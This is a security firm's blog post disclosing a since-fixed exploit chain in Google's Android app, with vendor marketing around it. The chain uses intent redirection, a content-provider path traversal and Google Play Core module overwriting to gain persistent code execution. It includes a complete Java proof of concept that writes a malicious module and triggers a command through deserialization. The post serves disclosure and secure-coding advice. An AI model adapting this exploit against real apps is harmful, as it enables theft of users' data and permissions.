/ ANDROID, CODE EXECUTION

Why dynamic code loading could be dangerous for your apps: a Google example

Almost every Android app dynamically loads code from native .so libraries or .dex files. There are also some special libraries like Google Play Core to simplify this process.

In this blog, we want to convince developers not to load any code dynamically, because this unsafe practice can escalate a vulnerability that allows stealing/overwriting arbitrary files into critical code execution inside a vulnerable app.

For example: in the Google app, which will be discussed in detail later, the attack chain looked like this:

Intent redirection > gaining access to a vulnerable content provider and writing an arbitrary Google Play Core library module > resulting in persistent local code execution.

We also found a similar vulnerability in the TikTok app.

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more.

Arbitrary code execution in Google

While securing pre-installed apps on Android devices, we discovered persistent arbitrary code execution in the Google app. Google fixed the issue in May 2021. This could have allowed any app installed on the same device to steal arbitrary data from it, for example, accessing a Google account, user’s search history, voice assistant interaction data, mail from Gmail, and to intercept app rights, including access to read and send SMS messages, contacts, call history (as well as making and receiving calls), calendar, microphone, camera, location, Bluetooth and NFC.

The attacker’s app needed to launch only once for this attack to succeed. After that, even if the app was removed, the malicious functionality would continue to be present in the Google app independently. Moreover, the attack did not require any user consent or notice.

Discovering the bug

We scanned the app and found intent redirection: vulnerability

Then, we found one of the providers with the flag android:grantUriPermissions="true":

<provider android:name="com.google.android.apps.gsa.contentprovider.CommonContentProvider" android:exported="false" android:process=":search" android:authorities="com.google.android.googlequicksearchbox.CommonContentProvider" android:grantUriPermissions="true" />

It contained several handlers, one of which was in the class com.google.android.apps.gsa.staticplugins.assist.screenshot.C29246g:

public final ParcelFileDescriptor mo33581g(Uri uri, String str) { // a handler for `openFile(..)` method
   m33580f(uri);
   File i = m33575i(uri); // `/data/data/com.google.android.googlequicksearchbox/files/ScreenAssistScreenshots/` directory
   if (i == null) {
       //...
   }
   i.mkdirs();
   // `uri.getLastPathSegment()` returns a decoded value, a path-traversal is here
   return ParcelFileDescriptor.open(new File(i, uri.getLastPathSegment()), ParcelFileDescriptor.parseMode(str.toLowerCase(Locale.getDefault())));
}

As a result, it led to gaining read/write access to arbitrary files.

The scan report also contained alerts from the Dynamic code loading category: vulnerability

This indicated that the app uses the Google Play Core library. Now, if an attacker wrote an arbitrary module, the classes from the attacker’s module would automatically be added to the ClassLoader of the app.

A more detailed description about the method of replacing modules is described in the article dedicated to this vulnerability in the Google Play Core library.

Proof of Concept:

This code will execute the command chmod -R 777 /data/data/com.google.android.googlequicksearchbox in the context of Google.

File MainActivity.java

public class MainActivity extends Activity {
    static final String APP = "com.google.android.googlequicksearchbox";

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        handle(getIntent());
    }

    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);

        handle(intent);
    }

    private void handle(Intent intent) {
        if ("evil".equals(intent.getAction())) {
            try (InputStream inputStream = new FileInputStream(getApplicationInfo().sourceDir)) {
                try (OutputStream outputStream = getContentResolver().openOutputStream(intent.getData())) {
                    IOUtils.copy(inputStream, outputStream);
                }
            } catch (Throwable th) {
                throw new RuntimeException(th);
            }
            start();
        } else {
            Uri uri = Uri.parse("content://com.google.android.googlequicksearchbox.CommonContentProvider/assist.com.google.android.apps.gsa.staticplugins.assist.screenshot.ScreenshotProvider/1/ScreenAssistScreenshots/..%2Fsplitcompat%2F" + getVersionCode() + "%2Fverified-splits%2Fconfig.test.apk");
            Intent next = new Intent("evil", uri);
            next.setClass(this, getClass());
            next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

            Intent i = new Intent("android.intent.action.ASSIST");
            i.setClassName(APP, "com.google.android.googlequicksearchbox.SearchActivity");
            i.putExtra("KEY_HANDOVER_THROUGH_VELVET", next);
            startActivity(i);
        }
    }

    private int getVersionCode() {
        try {
           return getPackageManager().getPackageInfo(APP, 0).versionCode;
        } catch (Throwable th) {
           throw new RuntimeException(th);
        }
    }

    private void start() { // that broadcast receiver automatically tries to deserialize a value
        Intent i = new Intent("com.google.android.gms.udc.action.FACS_CACHE_UPDATED_EXPLICIT");
        i.setClassName(APP, "com.google.android.apps.search.googleapp.permissions.udcdataservice.facs.FacsBroadcastReceiver_Receiver");
        i.putExtra("evil", new EvilParcelable());
        sendBroadcast(i);
    }
}

File EvilParcelable.java

public class EvilParcelable implements Parcelable {
   public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() {
       public EvilParcelable createFromParcel(android.os.Parcel parcel) {
           exploit();
           return null;
       }

       public EvilParcelable[] newArray(int i) {
           exploit();
           return null;
       }

       private void exploit() {
           try {
               Runtime.getRuntime().exec("chmod -R 777 /data/data/" + MainActivity.APP).waitFor();
           } catch (Throwable th) {
               throw new RuntimeException(th);
           }
       }
   };

   public int describeContents() { return 0; }
   public void writeToParcel(android.os.Parcel parcel, int i) {}
}

The result: vulnerability

Protect your apps today!

It can be challenging to keep track of security issues that appear daily during the app development process. Drop us a line and we'll help you automate this process internally, saving tons of resources with Oversecured.